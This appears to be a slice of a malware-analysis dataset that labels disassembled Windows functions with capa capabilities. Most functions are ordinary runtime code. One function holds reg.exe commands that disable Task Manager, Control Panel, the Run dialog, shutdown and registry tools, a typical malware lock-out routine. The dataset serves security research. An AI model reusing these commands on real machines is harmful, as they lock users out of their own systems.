joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002700
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x1400043b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002778
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002778
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002778
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002778
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x14000276c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002780
add rdx, 0x28
cmp rdx, r10
jne 0x140002758
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002790
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000279e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002775
test r8d, r8d
jg 0x140002788
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret

Function at 0x1400068fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x1400070a0]
test rax, rax
je 0x140006946
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006946
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006946
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006946
cmp dword [rcx + 0x84], 0xe
jbe 0x140006946
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006948
xor al, al
add rsp, 0x28
ret
Function at 0x14007aa40
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14012bd20
mov rax, rcx
neg rcx
test rax, 7
je 0x14012bd3d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x14012bd98
test al, 7
jne 0x14012bd30
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x14012bd51
mov rdx, qword [rax - 8]
test dl, dl
je 0x14012bdc2
test dh, dh
je 0x14012bdbc
shr rdx, 0x10
test dl, dl
je 0x14012bdb6
test dh, dh
je 0x14012bdb0
shr rdx, 0x10
test dl, dl
je 0x14012bdaa
test dh, dh
je 0x14012bda4
shr edx, 0x10
test dl, dl
je 0x14012bd9e
test dh, dh
jne 0x14012bd51
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x14007adec
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400be0d0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400bda50
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400be10f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401ca020]
jmp 0x1400be119
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x14007af90
Capabilities:
Query environment variable

Disassembly:
jmp 0x14013f180
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14013efb0
lea rcx, [rsp + 0x40]
call fcn.14013f130
movzx eax, al
test eax, eax
jne 0x14013f1c8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.14013efe0
mov rax, qword [rsp + 0x70]
jmp 0x14013f399
lea rcx, [rsp + 0x40]
call fcn.14013f100
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14013f0a0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.14013f100
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14007bb70
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14013f26e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.14013efe0
mov rax, qword [rsp + 0x80]
jmp 0x14013f399
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.14007acc5
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14007ab6c
lea rcx, [rsp + 0x48]
call fcn.14007a784
movzx eax, al
test eax, eax
jne 0x14013f2d5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400798fc
lea rcx, [rsp + 0x40]
call fcn.14013efe0
mov rax, qword [rsp + 0x88]
jmp 0x14013f399
lea rcx, [rsp + 0x48]
call fcn.14007b2dd
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.14013f100
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14007bb70
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14013f36b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400798fc
lea rcx, [rsp + 0x40]
call fcn.14013efe0
mov rax, qword [rsp + 0xa0]
jmp 0x14013f399
lea rcx, [rsp + 0x48]
call fcn.14007ab3f
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400798fc
lea rcx, [rsp + 0x40]
call fcn.14013efe0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x14007af9a
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1400be000
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1400bd9d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400be041
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401ca020]
jmp 0x1400be047
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x14007b035
Capabilities:
Get geographical location

Disassembly:
jmp 0x140134fe0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140133f10
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140135047
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1401ca030]
jmp 0x140135069
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14007a711
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x14007b049
Capabilities:
Terminate process

Disassembly:
jmp 0x14009c3e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14007b283
Capabilities:
Print debug messages

Disassembly:
jmp 0x140154840
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1401b6040]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x140154866
jmp 0x1401548e3
mov rcx, qword [rbp + 0x30]
call fcn.14007aa40
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14015487f
jmp 0x1401548e3
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14015489c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140079a87
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140079f1e
test eax, eax
jne 0x1401548e3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14007ac34
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x14007b4f4
Capabilities:
Get geographical location

Disassembly:
jmp 0x140096950
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14009698d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.14007c9ee
add rsp, 0x58
ret
Function at 0x14007b6cf
Capabilities:
Create process on windows
Create thread
Disable system features via registry on windows
Set registry value

Disassembly:
jmp 0x140095500
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rcx, [0x1401c9103]
call fcn.14007ca1b
nop
call qword [sym.imp.KERNEL32.dll_FreeConsole]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableTaskMgr__t_REG_DWORD__d_1__f
lea r8, str.reg.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoControlPanel__t_REG_DWORD__d_1__f
lea r8, str.reg.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoRun__t_REG_DWORD__d_1__f
lea r8, str.reg.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoClose__t_REG_DWORD__d_1__f
lea r8, str.reg.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableRegistryTools__t_REG_DWORD__d_1__f
lea r8, str.reg.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140079127]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
xor r8d, r8d
lea rdx, str.c:windows_system32
lea rcx, [rbp + 0xc8]
call fcn.14007afe0
nop
lea rcx, [rbp + 0xc8]
call fcn.14007af4f
nop
lea rcx, [rbp + 0xc8]
call fcn.14007c4ee
nop
mov ecx, 0x2af8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
xor eax, eax
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14007b7b0
Capabilities:
Parse pe header

Disassembly:
jmp 0x14009cf10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14009cf30
xor al, al
jmp 0x14009cfb1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14009cf43
xor al, al
jmp 0x14009cfb1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14009cf6d
xor al, al
jmp 0x14009cfb1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14009cf81
xor al, al
jmp 0x14009cfb1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14009cf93
xor al, al
jmp 0x14009cfb1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14009cfaf
xor al, al
jmp 0x14009cfb1
mov al, 1
add rsp, 0x38
ret
Function at 0x14007bd50
Capabilities:
Terminate process

Disassembly:
jmp 0x1400bf1a0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1400bf1ce
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.14007c5fc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14007c656
Capabilities:
Print debug messages

Disassembly:
jmp 0x140132630
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x14007c71e
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400be140
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400bda90
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400be189
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401ca020]
jmp 0x1400be198
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x14007c7e1
Capabilities:
Set environment variable

Disassembly:
jmp 0x1401572e0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.14007a5cc
lea rcx, [rsp + 0x48]
call fcn.14007a5cc
call fcn.14007af2c
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.14007a383
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14015734f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.14007a93c
lea rcx, [rsp + 0x78]
call fcn.14007a93c
mov eax, dword [rsp + 0x24]
jmp 0x1401573e0
call fcn.14007af2c
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.14007a383
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140157396
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.14007a93c
lea rcx, [rsp + 0x78]
call fcn.14007a93c
mov eax, dword [rsp + 0x2c]
jmp 0x1401573e0
lea rcx, [rsp + 0x48]
call fcn.14007a531
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.14007a531
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.14007a93c
lea rcx, [rsp + 0x78]
call fcn.14007a93c
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x140164360
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140079a87
sub rsp, rax
mov rax, qword [0x1401b6040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1401b9380]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140164552
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1401644a6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1401644a6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14016448b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140164428
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140164512
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140164571
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14016454d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140164571
jmp 0x1401643fe
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007ac34
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140164620
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140079a87
sub rsp, rax
mov rax, qword [0x1401b6040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1401b9380]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14016482d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140164779
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140164779
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140164759
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1401646e8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1401647ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14016484c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140164828
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14016484c
jmp 0x1401646be
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007ac34
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x415b00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x415c8b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433320
xorps xmm15, xmm15
mov r14, qword [0x0090cee0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415b65
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415b74
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415b93
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415ba3
cmp rbx, 0x1000
jae 0x415b6b
jmp 0x415c0d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415bb5
xor edx, edx
jmp 0x415c04
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433320
xorps xmm15, xmm15
mov r14, qword [0x0090cee0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415b99
jmp 0x415b88
call fcn.004657c0
xorps xmm15, xmm15
mov r14, qword [0x0090cee0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00437980
lea rax, [0x00504473]
mov ebx, 0x18
nop dword [rax]
call fcn.00438200
mov rax, qword [rsp + 0x38]
call fcn.00437f40
lea rax, [0x0050495a]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00438200
mov rax, qword [rsp + 0x30]
call fcn.00437f40
call fcn.00437bc0
call fcn.004379e0
lea rax, [0x00506b67]
mov ebx, 0x21
call fcn.00435fe0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004620c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415b00